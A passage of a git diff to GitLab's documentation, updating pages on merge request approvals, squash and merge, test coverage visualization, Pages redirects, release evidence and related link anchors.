-By default, users are able to edit the approval rules in merge requests. If disabled,
-the approval rules for all new merge requests will be determined by the
-[default approval rules](#adding--editing-a-default-approval-rule). To disable this feature:
+Regardless of the approval rules you choose for your project, users can edit them in every merge
+request, overriding the rules you set as [default](#adding--editing-a-default-approval-rule).
+To prevent that from happening:
1. Uncheck the **Can override approvers and approvals required per merge request** checkbox.
1. Click **Save changes**.
@@ -267,14 +291,15 @@ from the UI. However, approvals will be reset if the target branch is changed.
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3349) in [GitLab Starter](https://about.gitlab.com/pricing/) 11.3.
-You can allow merge request authors to self-approve merge requests. Authors
-also need to be included in the approvers list in order to be able to
-approve their merge request. To enable this feature:
+By default, projects are configured to prevent merge requests from being approved by
+their own authors. To change this setting:
-1. Uncheck the **Prevent approval of merge requests by merge request author** checkbox,
- which is enabled by default.
+1. Go to your project's **Settings > General**, expand **Merge request approvals**.
+1. Uncheck the **Prevent approval of merge requests by merge request author** checkbox.
1. Click **Save changes**.
+Note that users can edit the approval rules in every merge request and override pre-defined settings unless it's set [**not to allow** overrides](#prevent-overriding-default-approvals).
+
#### Prevent approval of merge requests by their committers
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10441) in [GitLab Starter](https://about.gitlab.com/pricing/) 11.10.
diff --git a/doc/user/project/merge_requests/reviewing_and_managing_merge_requests.md b/doc/user/project/merge_requests/reviewing_and_managing_merge_requests.md
index 4e821145339..3a18cacde64 100644
--- a/doc/user/project/merge_requests/reviewing_and_managing_merge_requests.md
+++ b/doc/user/project/merge_requests/reviewing_and_managing_merge_requests.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: index, reference
---
-# Reviewing and managing merge requests
+# Reviewing and managing merge requests **(CORE)**
Merge requests are the primary method of making changes to files in a GitLab project.
Changes are proposed by [creating and submitting a merge request](creating_merge_requests.md),
@@ -67,13 +67,21 @@ list.
![Merge request diff file navigation](img/merge_request_diff_file_navigation.png)
+### Collapsed files in the Changes view
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/232820) in GitLab 13.4.
+
+When you review changes in the **Changes** tab, files with a large number of changes are collapsed
+to improve performance. When files are collapsed, a warning appears at the top of the changes.
+Click **Expand file** on any file to view the changes for that file.
+
### File-by-file diff navigation
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/222790) in GitLab 13.2.
> - It's deployed behind a feature flag, enabled by default.
> - It's recommended for production use.
> - It's enabled on GitLab.com.
-> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-file-by-file-diff-navigation-core-only).
+> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-file-by-file-diff-navigation).
For larger merge requests it might sometimes be useful to review single files at a time. To enable,
from your avatar on the top-right navbar, click **Settings**, and go to **Preferences** on the left
@@ -156,7 +164,7 @@ in a Merge Request. To do so, click the **{comment}** **comment** icon in the gu
> - It's enabled on GitLab.com.
> - It can be disabled or enabled per-project.
> - It's recommended for production use.
-> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-multiline-comments-core-only). **(CORE ONLY)**
+> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-multiline-comments). **(CORE ONLY)**
GitLab provides a way to select which lines of code a comment refers to. After starting a comment
a dropdown selector is shown to select the first line that this comment refers to.
@@ -203,6 +211,11 @@ If there's an [environment](../../../ci/environments/index.md) and the applicati
successfully deployed to it, the deployed environment and the link to the
Review App will be shown as well.
+NOTE: **Note:**
+When the default branch (for example, `main`) is red due to a failed CI pipeline, the `merge` button
+When the pipeline fails in a merge request but it can be merged nonetheless,
+the **Merge** button will be colored in red.
+
### Post-merge pipeline status
When a merge request is merged, you can see the post-merge pipeline status of
@@ -284,15 +297,37 @@ the command line.
NOTE: **Note:**
This section might move in its own document in the future.
-### Checkout merge requests locally
+### Copy the branch name for local checkout
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/23767) in GitLab 13.4.
+
+The merge request sidebar contains the branch reference for the source branch
+used to contribute changes for this merge request.
+
+To copy the branch reference into your clipboard, click the **Copy branch name** button
+(**{copy-to-clipboard}**) in the right sidebar. You can then use it to checkout the branch locally
+via command line by running `git checkout <branch-name>`.
+
+### Checkout merge requests locally through the `head` ref
A merge request contains all the history from a repository, plus the additional
commits added to the branch associated with the merge request. Here's a few
-tricks to checkout a merge request locally.
+ways to checkout a merge request locally.
Please note that you can checkout a merge request locally even if the source
project is a fork (even a private fork) of the target project.
+This relies on the merge request `head` ref (`refs/merge-requests/:iid/head`)
+that is available for each merge request. It allows checking out a merge
+request via its ID instead of its branch.
+
+[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/223156) in GitLab
+13.4, 14 days after a merge request gets closed or merged, the merge request
+`head` ref will be deleted. This means that the merge request will not be available
+for local checkout via the merge request `head` ref anymore. The merge request
+can still be re-opened. Also, as long as the merge request's branch
+exists, you can still check out the branch as it won't be affected.
+
#### Checkout locally by adding a Git alias
Add the following alias to your `~/.gitconfig`:
diff --git a/doc/user/project/merge_requests/squash_and_merge.md b/doc/user/project/merge_requests/squash_and_merge.md
index 7f752b2cc39..69a0dd6e84f 100644
--- a/doc/user/project/merge_requests/squash_and_merge.md
+++ b/doc/user/project/merge_requests/squash_and_merge.md
@@ -65,14 +65,27 @@ meaningful commit messages and:
## Enabling squash for a merge request
Anyone who can create or edit a merge request can choose for it to be squashed
-on the merge request form:
+on the merge request form. Users can select or unselect the checkbox at the moment
+they are creating the merge request:
![Squash commits checkbox on edit form](img/squash_edit_form.png)
-This can then be overridden at the time of accepting the merge request:
+After the merge request is submitted, Squash and Merge can still be enabled or disabled
+by editing the merge request description:
+
+1. Scroll to the top of the merge request page and click **Edit**.
+1. Scroll down to the end of the merge request form and select the checkbox
+**Squash commits when merge request is accepted**.
+
+This setting can then be overridden at the time of accepting the merge request.
+At the end of the merge request widget, next to the **Merge** button, the **Squash commits** checkbox
+can be either selected or unselected:
![Squash commits checkbox on accept merge request form](img/squash_mr_widget.png)
+Note that Squash and Merge might not be available depending on the project's configuration
+for [Squash Commit Options](#squash-commits-options).
+
## Commit metadata for squashed commits
The squashed commit has the following metadata:
@@ -97,7 +110,7 @@ squashing can itself be considered equivalent to rebasing.
> - It's enabled on GitLab.com.
> - It can be enabled per project.
> - It's recommended for production use.
-> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-squash-commit-options-core-only). **(CORE ONLY)**
+> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-squash-commit-options). **(CORE ONLY)**
With Squash Commits Options you can configure the behavior of Squash and Merge for your project.
To set it up, navigate to your project's **Settings > General** and expand **Merge requests**.
@@ -133,7 +146,7 @@ To enable it:
# Instance-wide
Feature.enable(:squash_options)
# or by project
-Feature.enable(:squash_options, Project.find(<project id>))
+Feature.enable(:squash_options, Project.find(<project ID>))
```
To disable it:
@@ -142,7 +155,7 @@ To disable it:
# Instance-wide
Feature.disable(:squash_options)
# or by project
-Feature.disable(:squash_options, Project.find(<project id>))
+Feature.disable(:squash_options, Project.find(<project ID>))
```
<!-- ## Troubleshooting
diff --git a/doc/user/project/merge_requests/test_coverage_visualization.md b/doc/user/project/merge_requests/test_coverage_visualization.md
index 6751dde155c..56b5774f15b 100644
--- a/doc/user/project/merge_requests/test_coverage_visualization.md
+++ b/doc/user/project/merge_requests/test_coverage_visualization.md
@@ -8,9 +8,9 @@ type: reference, howto
# Test Coverage Visualization **(CORE ONLY)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3708) in GitLab 12.9.
-> - It's deployed behind a feature flag, disabled by default.
-> - It's disabled on GitLab.com.
-> - It can be enabled or disabled per-project.
+> - [Feature flag enabled](https://gitlab.com/gitlab-org/gitlab/-/issues/211410) in GitLab 13.4.
+> - It's enabled on GitLab.com.
+> - It can be disabled per-project.
> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enabling-the-feature). **(CORE ONLY)**
With the help of [GitLab CI/CD](../../../ci/README.md), you can collect the test
@@ -76,11 +76,9 @@ test:
## Enabling the feature
-This feature comes with the `:coverage_report_view` feature flag disabled by
-default. It is disabled on GitLab.com. This feature is disabled due to some performance issues with very large
-data sets. When [the performance issue](https://gitlab.com/gitlab-org/gitlab/-/issues/211410)
-is resolved, the feature will be enabled by default. [GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
-can enable it for your instance. Test coverage visualization can be enabled or disabled per-project.
+This feature comes with the `:coverage_report_view` feature flag enabled by
+default. It is enabled on GitLab.com. [GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
+can disable it for your instance. Test coverage visualization can be enabled or disabled per-project.
To enable it:
diff --git a/doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md b/doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md
index e5ebc46d58f..b298c62a5e6 100644
--- a/doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md
+++ b/doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md
@@ -19,7 +19,7 @@ or link to useful information directly from merge requests:
| [Code Quality](code_quality.md) | Analyze your source code quality using the [Code Climate](https://codeclimate.com/) analyzer and show the Code Climate report right in the merge request widget area. |
| [Display arbitrary job artifacts](../../../ci/yaml/README.md#artifactsexpose_as) | Configure CI pipelines with the `artifacts:expose_as` parameter to directly link to selected [artifacts](../../../ci/pipelines/job_artifacts.md) in merge requests. |
| [GitLab CI/CD](../../../ci/README.md) | Build, test, and deploy your code in a per-branch basis with built-in CI/CD. |
-| [JUnit test reports](../../../ci/junit_test_reports.md) | Configure your CI jobs to use JUnit test reports, and let GitLab display a report on the merge request so that it’s easier and faster to identify the failure without having to check the entire job log. |
+| [Unit test reports](../../../ci/unit_test_reports.md) | Configure your CI jobs to use Unit test reports, and let GitLab display a report on the merge request so that it’s easier and faster to identify the failure without having to check the entire job log. |
| [License Compliance](../../compliance/license_compliance/index.md) **(ULTIMATE)** | Manage the licenses of your dependencies. |
| [Metrics Reports](../../../ci/metrics_reports.md) **(PREMIUM)** | Display the Metrics Report on the merge request so that it's fast and easy to identify changes to important metrics. |
| [Multi-Project pipelines](../../../ci/multi_project_pipelines.md) **(PREMIUM)** | When you set up GitLab CI/CD across multiple projects, you can visualize the entire pipeline, including all cross-project interdependencies. |
diff --git a/doc/user/project/milestones/index.md b/doc/user/project/milestones/index.md
index aea5eef5efc..9d02a22f91e 100644
--- a/doc/user/project/milestones/index.md
+++ b/doc/user/project/milestones/index.md
@@ -117,9 +117,9 @@ From the project issue/merge request list pages and the group issue/merge reques
### Filtering in issue boards
- From [project issue boards](../issue_board.md), you can filter by both group milestones and project milestones in the [search and filter bar](../../search/index.md#issue-boards).
-- From [group issue boards](../issue_board.md#group-issue-boards-premium), you can filter by only group milestones in the [search and filter bar](../../search/index.md#issue-boards). **(PREMIUM)**
-- From [project issue boards](../issue_board.md), you can filter by both group milestones and project milestones in the [issue board configuration](../issue_board.md#configurable-issue-boards-starter). **(STARTER)**
-- From [group issue boards](../issue_board.md#group-issue-boards-premium) you can filter by only group milestones in the [issue board configuration](../issue_board.md#configurable-issue-boards-starter). **(STARTER)**
+- From [group issue boards](../issue_board.md#group-issue-boards), you can filter by only group milestones in the [search and filter bar](../../search/index.md#issue-boards). **(PREMIUM)**
+- From [project issue boards](../issue_board.md), you can filter by both group milestones and project milestones in the [issue board configuration](../issue_board.md#configurable-issue-boards). **(STARTER)**
+- From [group issue boards](../issue_board.md#group-issue-boards) you can filter by only group milestones in the [issue board configuration](../issue_board.md#configurable-issue-boards). **(STARTER)**
### Special milestone filters
@@ -154,9 +154,9 @@ For project milestones in [GitLab Starter](https://about.gitlab.com/pricing/), a
![burndown chart](img/burndown_chart.png)
-### Group Burndown Charts **(PREMIUM)**
+### Group Burndown Charts **(STARTER)**
-For group milestones in [GitLab Premium](https://about.gitlab.com/pricing/), a [burndown chart](burndown_charts.md) is in the milestone view, showing the progress of completing a milestone.
+For group milestones in [GitLab Starter](https://about.gitlab.com/pricing/), a [burndown chart](burndown_charts.md) is in the milestone view, showing the progress of completing a milestone.
### Milestone sidebar
diff --git a/doc/user/project/new_ci_build_permissions_model.md b/doc/user/project/new_ci_build_permissions_model.md
index cfcbf11a407..c3825371030 100644
--- a/doc/user/project/new_ci_build_permissions_model.md
+++ b/doc/user/project/new_ci_build_permissions_model.md
@@ -54,7 +54,7 @@ It is important to note that we have a few types of users:
Administrator will have to be a member of it in order to have access to it
via another project's job.
-- **External users**: CI jobs created by [external users](../permissions.md#external-users-core-only) will have
+- **External users**: CI jobs created by [external users](../permissions.md#external-users) will have
access only to projects to which the user has at least Reporter access. This
rules out accessing all internal projects by default.
@@ -65,7 +65,7 @@ Let's consider the following scenario:
hosted in private repositories and you have multiple CI jobs that make use
of these repositories.
-1. You invite a new [external user](../permissions.md#external-users-core-only). CI jobs created by that user do not
+1. You invite a new [external user](../permissions.md#external-users). CI jobs created by that user do not
have access to internal repositories, because the user also doesn't have the
access from within GitLab. You as an employee have to grant explicit access
for this user. This allows us to prevent from accidental data leakage.
@@ -83,9 +83,9 @@ We try to make sure that this token doesn't leak by:
1. Masking the job token from job logs.
1. Granting permissions to the job token **only** when the job is running.
-However, this brings a question about the Runners security. To make sure that
+However, this brings up a question about the runner's security. To make sure that
this token doesn't leak, you should also make sure that you configure
-your Runners in the most possible secure way, by avoiding the following:
+your runners in the most possible secure way, by avoiding the following:
1. Any usage of Docker's `privileged` mode is risky if the machines are re-used.
1. Using the `shell` executor since jobs run on the same machine.
@@ -95,13 +95,13 @@ to steal the tokens of other jobs.
## Before GitLab 8.12
-In versions before GitLab 8.12, all CI jobs would use the CI Runner's token
+In versions before GitLab 8.12, all CI jobs would use the runner's token
to checkout project sources.
-The project's Runner's token was a token that you could find under the
+The project's runner token was a token that you could find under the
project's **Settings > Pipelines** and was limited to access only that
project.
-It could be used for registering new specific Runners assigned to the project
+It could be used for registering new specific runners assigned to the project
and to checkout project sources.
It could also be used with the GitLab Container Registry for that project,
allowing pulling and pushing Docker images from within the CI job.
@@ -123,7 +123,7 @@ Using single token had multiple security implications:
- The token would be readable to anyone who had Developer access to a project
that could run CI jobs, allowing the developer to register any specific
- Runner for that project.
+ runner for that project.
- The token would allow to access only the project's sources, forbidding from
accessing any other projects.
- The token was not expiring and was multi-purpose: used for checking out sources,
@@ -205,7 +205,7 @@ Container Registries for private projects.
>
> - GitLab Runner versions prior to 1.8 don't incorporate the introduced changes
> for permissions. This makes the `image:` directive not work with private
-> projects automatically and it needs to be configured manually on Runner's host
+> projects automatically and it needs to be configured manually on the GitLab Runner host
> with a predefined account (for example administrator's personal account with
> access token created explicitly for this purpose). This issue is resolved with
> latest changes in GitLab Runner 1.8 which receives GitLab credentials with
diff --git a/doc/user/project/pages/custom_domains_ssl_tls_certification/index.md b/doc/user/project/pages/custom_domains_ssl_tls_certification/index.md
index e6912259bfa..badafa478ef 100644
--- a/doc/user/project/pages/custom_domains_ssl_tls_certification/index.md
+++ b/doc/user/project/pages/custom_domains_ssl_tls_certification/index.md
@@ -1,6 +1,4 @@
---
-last_updated: 2020-07-25
-type: reference, howto
disqus_identifier: 'https://docs.gitlab.com/ee/user/project/pages/getting_started_part_three.html'
stage: Release
group: Release Management
diff --git a/doc/user/project/pages/getting_started/pages_from_scratch.md b/doc/user/project/pages/getting_started/pages_from_scratch.md
index cabaf734d77..a7eb4c4019f 100644
--- a/doc/user/project/pages/getting_started/pages_from_scratch.md
+++ b/doc/user/project/pages/getting_started/pages_from_scratch.md
@@ -1,6 +1,4 @@
---
-last_updated: 2020-01-06
-type: reference, howto
stage: Release
group: Release Management
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
@@ -9,8 +7,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Create a GitLab Pages website from scratch
This tutorial shows you how to create a Pages site from scratch. You will start with
-a blank project and create your own CI file, which gives instruction to the
-[GitLab Runner](https://docs.gitlab.com/runner/). When your CI/CD
+a blank project and create your own CI file, which gives instruction to
+a [runner](https://docs.gitlab.com/runner/). When your CI/CD
[pipeline](../../../../ci/pipelines/index.md) runs, the Pages site is created.
This example uses the [Jekyll](https://jekyllrb.com/) Static Site Generator (SSG).
@@ -50,7 +48,7 @@ Create three files in the root (top-level) directory.
## Choose a Docker image
-In this example, the Runner uses a [Docker image](../../../../ci/docker/using_docker_images.md)
+In this example, the runner uses a [Docker image](../../../../ci/docker/using_docker_images.md)
to run scripts and deploy the site.
This specific Ruby image is maintained on [DockerHub](https://hub.docker.com/_/ruby).
@@ -95,7 +93,7 @@ job:
```
For GitLab Pages, this `job` has a specific name, called `pages`.
-This setting tells the Runner you want the job to deploy your website
+This setting tells the runner you want the job to deploy your website
with GitLab Pages:
```yaml
@@ -124,7 +122,7 @@ pages:
## Specify the `public` directory for artifacts
Now that Jekyll has output the files to the `public` directory,
-the Runner needs to know where to get them. The artifacts are stored
+the runner needs to know where to get them. The artifacts are stored
in the `public` directory:
```yaml
@@ -190,7 +188,7 @@ pages:
- public
```
-Then configure the pipeline to run the job for the master branch only.
+Then configure the pipeline to run the job for the `master` branch only.
```yaml
image: ruby:2.7
diff --git a/doc/user/project/pages/getting_started_part_one.md b/doc/user/project/pages/getting_started_part_one.md
index 949a6c16c1b..9272b1f9093 100644
--- a/doc/user/project/pages/getting_started_part_one.md
+++ b/doc/user/project/pages/getting_started_part_one.md
@@ -1,6 +1,4 @@
---
-last_updated: 2018-06-04
-type: concepts, reference
stage: Release
group: Release Management
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
diff --git a/doc/user/project/pages/index.md b/doc/user/project/pages/index.md
index eff80a4c9bd..6c3b911d033 100644
--- a/doc/user/project/pages/index.md
+++ b/doc/user/project/pages/index.md
@@ -59,6 +59,7 @@ To update a GitLab Pages website:
| [Explore GitLab Pages](introduction.md) | Requirements, technical aspects, specific GitLab CI/CD configuration options, Access Control, custom 404 pages, limitations, FAQ. |
| [Custom domains and SSL/TLS Certificates](custom_domains_ssl_tls_certification/index.md) | Custom domains and subdomains, DNS records, and SSL/TLS certificates. |
| [Let's Encrypt integration](custom_domains_ssl_tls_certification/lets_encrypt_integration.md) | Secure your Pages sites with Let's Encrypt certificates, which are automatically obtained and renewed by GitLab. |
+| [Redirects](redirects.md) | Set up HTTP redirects to forward one page to another. |
Learn more and see examples:
diff --git a/doc/user/project/pages/introduction.md b/doc/user/project/pages/introduction.md
index a6923779f24..cea6bab1a50 100644
--- a/doc/user/project/pages/introduction.md
+++ b/doc/user/project/pages/introduction.md
@@ -1,6 +1,4 @@
---
-type: reference
-last_updated: 2020-01-06
stage: Release
group: Release Management
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
@@ -36,7 +34,7 @@ If you are using [GitLab Pages on GitLab.com](#gitlab-pages-on-gitlabcom) to hos
- The domain name for GitLab Pages on GitLab.com is `gitlab.io`.
- Custom domains and TLS support are enabled.
- Shared runners are enabled by default, provided for free and can be used to
- build your website. If you want you can still bring your own Runner.
+ build your website. If you want you can still bring your own runner.
## Example projects
@@ -62,13 +60,8 @@ If the case of `404.html`, there are different scenarios. For example:
## Redirects in GitLab Pages
-Since you cannot use any custom server configuration files, like `.htaccess` or
-any `.conf` file, if you want to redirect a page to another
-location, you can use the [HTTP meta refresh tag](https://en.wikipedia.org/wiki/Meta_refresh).
-
-Some static site generators provide plugins for that functionality so that you
-don't have to create and edit HTML files manually. For example, Jekyll has the
-[redirect-from plugin](https://github.com/jekyll/jekyll-redirect-from).
+You can configure redirects for your site using a `_redirects` file. To learn more, read
+the [redirects documentation](redirects.md).
## GitLab Pages Access Control **(CORE)**
diff --git a/doc/user/project/pages/lets_encrypt_for_gitlab_pages.md b/doc/user/project/pages/lets_encrypt_for_gitlab_pages.md
index d86704eb703..708d886b352 100644
--- a/doc/user/project/pages/lets_encrypt_for_gitlab_pages.md
+++ b/doc/user/project/pages/lets_encrypt_for_gitlab_pages.md
@@ -1,7 +1,5 @@
---
description: "How to secure GitLab Pages websites with Let's Encrypt (manual process, deprecated)."
-type: howto
-last_updated: 2019-07-15
---
# Let's Encrypt for GitLab Pages (manual process, deprecated)
diff --git a/doc/user/project/pages/pages_access_control.md b/doc/user/project/pages/pages_access_control.md
index 6fcad0a5357..b6b881b961e 100644
--- a/doc/user/project/pages/pages_access_control.md
+++ b/doc/user/project/pages/pages_access_control.md
@@ -10,7 +10,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/33422) in GitLab 11.5.
> - Available on GitLab.com in GitLab 12.4.
-You can enable Pages access control on your project, so that only
+You can enable Pages access control on your project
+if your administrator has [enabled the access control feature](../../../administration/pages/index.md#access-control)
+on your GitLab instance. When enabled, only
[members of your project](../../permissions.md#project-members-permissions)
(at least Guest) can access your website:
diff --git a/doc/user/project/pages/redirects.md b/doc/user/project/pages/redirects.md
new file mode 100644
index 00000000000..ae7b1b4fa6e
--- /dev/null
+++ b/doc/user/project/pages/redirects.md
@@ -0,0 +1,130 @@
+---
+stage: Release
+group: Release Management
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+---
+
+# Create redirects for GitLab Pages
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab-pages/-/issues/24) in GitLab Pages 1.25.0 and GitLab 13.4.
+> - It's [deployed behind a feature flag](#enable-or-disable-redirects), disabled by default.
+> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-redirects).
+
+CAUTION: **Warning:**
+This feature might not be available to you. Check the **version history** note above for details.
+
+In GitLab Pages, you can [enable](#enable-or-disable-redirects) the redirects feature to configure rules to forward one URL to another using HTTP redirects. GitLab Pages uses
+[Netlify style redirects](https://docs.netlify.com/routing/redirects/#syntax-for-the-redirects-file).
+
+## Supported features
+
+GitLab Pages only supports the
+[`_redirects` plain text file syntax](https://docs.netlify.com/routing/redirects/#syntax-for-the-redirects-file),
+and `.toml` files are not supported.
+
+Redirects are only supported at a basic level, and GitLab Pages doesn't support all
+[special options offered by Netlify](https://docs.netlify.com/routing/redirects/redirect-options/):
+
+| Feature | Supported | Example |
+| ------- | --------- | ------- |
+| Redirects (`301`, `302`) | **{check-circle}** Yes | `/wardrobe.html /narnia.html 302`
+| Rewrites (other status codes) | **{dotted-circle}** No | `/en/* /en/404.html 404` |
+| [Splats](https://docs.netlify.com/routing/redirects/redirect-options/#splats) | **{dotted-circle}** No | `/news/* /blog/:splat` |
+| Placeholders | **{dotted-circle}** No | `/news/:year/:month/:date/:slug /blog/:year/:month/:date/:slug` |
+| Query parameters | **{dotted-circle}** No | `/store id=:id /blog/:id 301` |
+| Force ([shadowing](https://docs.netlify.com/routing/redirects/rewrites-proxies/#shadowing)) | **{dotted-circle}** No | `/app/ /app/index.html 200!` |
+| Domain-level redirects | **{dotted-circle}** No | `http://blog.example.com/* https://www.example.com/blog/:splat 301` |
+| Redirect by country or language | **{dotted-circle}** No | `/ /anz 302 Country=au,nz` |
+| Redirect by role | **{dotted-circle}** No | `/admin/* 200! Role=admin` |
+
+NOTE: **Note:**
+Supported paths must start with a forward slash `/`.
+
+## Create redirects
+
+To create redirects after [enabling](#enable-or-disable-redirects) the feature,
+create a configuration file named `_redirects` in the `public/` directory of your
+GitLab Pages site.
+
+If your GitLab Pages site uses the default domain name (such as
+`namespace.gitlab.io/projectname`) you must prefix every rule with the project name:
+
+```plaintext
+/projectname/redirect-portal.html /projectname/magic-land.html 301
+/projectname/cake-portal.html /projectname/still-alive.html 302
+/projectname/wardrobe.html /projectname/narnia.html 302
+/projectname/pit.html /projectname/spikes.html 302
+```
+
+If your GitLab Pages site uses [custom domains](custom_domains_ssl_tls_certification/index.md),
+no project name prefix is needed. For example, if your custom domain is `example.com`,
+your `_redirect` file would look like:
+
+```plaintext
+/redirect-portal.html /magic-land.html 301
+/cake-portal.html /still-alive.html 302
+/wardrobe.html /narnia.html 302
+/pit.html /spikes.html 302
+```
+
+## Files override redirects
+
+Files take priority over redirects. If a file exists on disk, GitLab Pages serves
+the file instead of your redirect. For example, if the files `hello.html` and
+`world.html` exist, and the `_redirects` file contains the following line, the redirect
+is ignored because `hello.html` exists:
+
+```plaintext
+/projectname/hello.html /projectname/world.html 302
+```
+
+NOTE: **Note:**
+GitLab does not support Netlify's
+[force option](https://docs.netlify.com/routing/redirects/rewrites-proxies/#shadowing)
+to change this behavior.
+
+## Debug redirect rules
+
+If a redirect isn't working as expected, or you want to check your redirect syntax, visit
+`https://[namespace.gitlab.io]/projectname/_redirects`, replacing `[namespace.gitlab.io]` with
+your domain name. The `_redirects` file isn't served directly, but your browser
+displays a numbered list of your redirect rules, and whether the rule is valid or invalid:
+
+```plaintext
+11 rules
+rule 1: valid
+rule 2: valid
+rule 3: error: splats are not supported
+rule 4: valid
+rule 5: error: placeholders are not supported
+rule 6: valid
+rule 7: error: no domain-level redirects to outside sites
+rule 8: error: url path must start with forward slash /
+rule 9: error: no domain-level redirects to outside sites
+rule 10: valid
+rule 11: valid
+```
+
+## Enable or disable redirects
+
+Redirects in GitLab Pages is under development and not ready for production use. It is
+deployed behind a feature flag that is **disabled by default**.
+
+For [Omnibus installations](../../../administration/pages/index.md), define the
+`FF_ENABLE_REDIRECTS` environment variable in the
+[global settings](../../../administration/pages/index.md#global-settings).
+Add the following line to `/etc/gitlab/gitlab.rb` and
+[reconfigure the instance](../../../administration/restart_gitlab.md#omnibus-gitlab-reconfigure).
+
+```ruby
+gitlab_pages['env']['FF_ENABLE_REDIRECTS'] = 'true'
+```
+
+For [source installations](../../../administration/pages/source.md), define the
+`FF_ENABLE_REDIRECTS` environment variable, then
+[restart GitLab](../../../administration/restart_gitlab.md#installations-from-source):
+
+```shell
+export FF_ENABLE_REDIRECTS="true"
+/path/to/pages/bin/gitlab-pages -config gitlab-pages.conf
+```
diff --git a/doc/user/project/releases/index.md b/doc/user/project/releases/index.md
index 20880d0c4fa..6c8aacd12b3 100644
--- a/doc/user/project/releases/index.md
+++ b/doc/user/project/releases/index.md
@@ -100,7 +100,7 @@ To edit the details of a release:
1. Click **Save changes**.
You can edit the release title, notes, associated milestones, and asset links.
-To change other release information, such as the tag or release date, use the
+To change the release date use the
[Releases API](../../../api/releases/index.md#update-a-release).
## Add release notes to Git tags
@@ -322,13 +322,14 @@ The four types of links are "Runbook," "Package," "Image," and "Other."
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/26019) in GitLab 12.6.
Each time a release is created, GitLab takes a snapshot of data that's related to it.
-This data is saved in a JSON file and called *release evidence*. It includes linked milestones
-and issues and can facilitate internal processes like external audits.
+This data is saved in a JSON file and called *release evidence*. The feature currently
+includes test artifacts and linked milestones (and will include issues) to facilitate
+internal processes, like external audits.
To access the release evidence, on the Releases page, click the link to the JSON file that's listed
under the **Evidence collection** heading.
-You can also [use the API](../../../api/releases/index.md#collect-release-evidence-premium-only) to
+You can also [use the API](../../../api/releases/index.md#collect-release-evidence) to
generate release evidence for an existing release. Because of this, each release
can have multiple release evidence snapshots. You can view the release evidence and
its details on the Releases page.
@@ -400,7 +401,7 @@ Here is an example of a release evidence object:
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/199065) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.10.
-When a release is created, release evidence is automatically collected. To initiate evidence collection any other time, use an [API call](../../../api/releases/index.md#collect-release-evidence-premium-only). You can collect release evidence multiple times for one release.
+When a release is created, release evidence is automatically collected. To initiate evidence collection any other time, use an [API call](../../../api/releases/index.md#collect-release-evidence). You can collect release evidence multiple times for one release.
Evidence collection snapshots are visible on the Releases page, along with the timestamp the evidence was collected.
diff --git a/doc/user/project/repository/branches/index.md b/doc/user/project/repository/branches/index.md
index 54979d1c4ce..a937b6ed959 100644
--- a/doc/user/project/repository/branches/index.md
+++ b/doc/user/project/repository/branches/index.md
@@ -60,7 +60,7 @@ against accidental deletion and forced pushes.
> - It's enabled on GitLab.com.
> - It cannot be enabled or disabled per-project.
> - It's recommended for production use.
-> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-custom-initial-branch-name-core-only). **(CORE ONLY)**
+> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-custom-initial-branch-name). **(CORE ONLY)**
By default, when you create a new project in GitLab, the initial branch is called `master`.
For self-managed instances, a GitLab administrator can customize the initial branch name to something
diff --git a/doc/user/project/repository/git_blame.md b/doc/user/project/repository/git_blame.md
index 6636463722e..a423f58ba21 100644
--- a/doc/user/project/repository/git_blame.md
+++ b/doc/user/project/repository/git_blame.md
@@ -8,7 +8,7 @@ description: "Documentation on Git file blame."
# Git file blame
-> [Introduced](https://git.sphere.ly/staff/publicgitlab/commit/39c657930625ddc3ac8a921f01ffc83acadce68f) in GitLab 2.5
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/commit/39c657930625ddc3ac8a921f01ffc83acadce68f) in GitLab 2.5.
[Git blame](https://git-scm.com/docs/git-blame) provides more information
about every line in a file, including the last modified time, author, and
diff --git a/doc/user/project/repository/gpg_signed_commits/index.md b/doc/user/project/repository/gpg_signed_commits/index.md
index 5526828c969..646d708d896 100644
--- a/doc/user/project/repository/gpg_signed_commits/index.md
+++ b/doc/user/project/repository/gpg_signed_commits/index.md
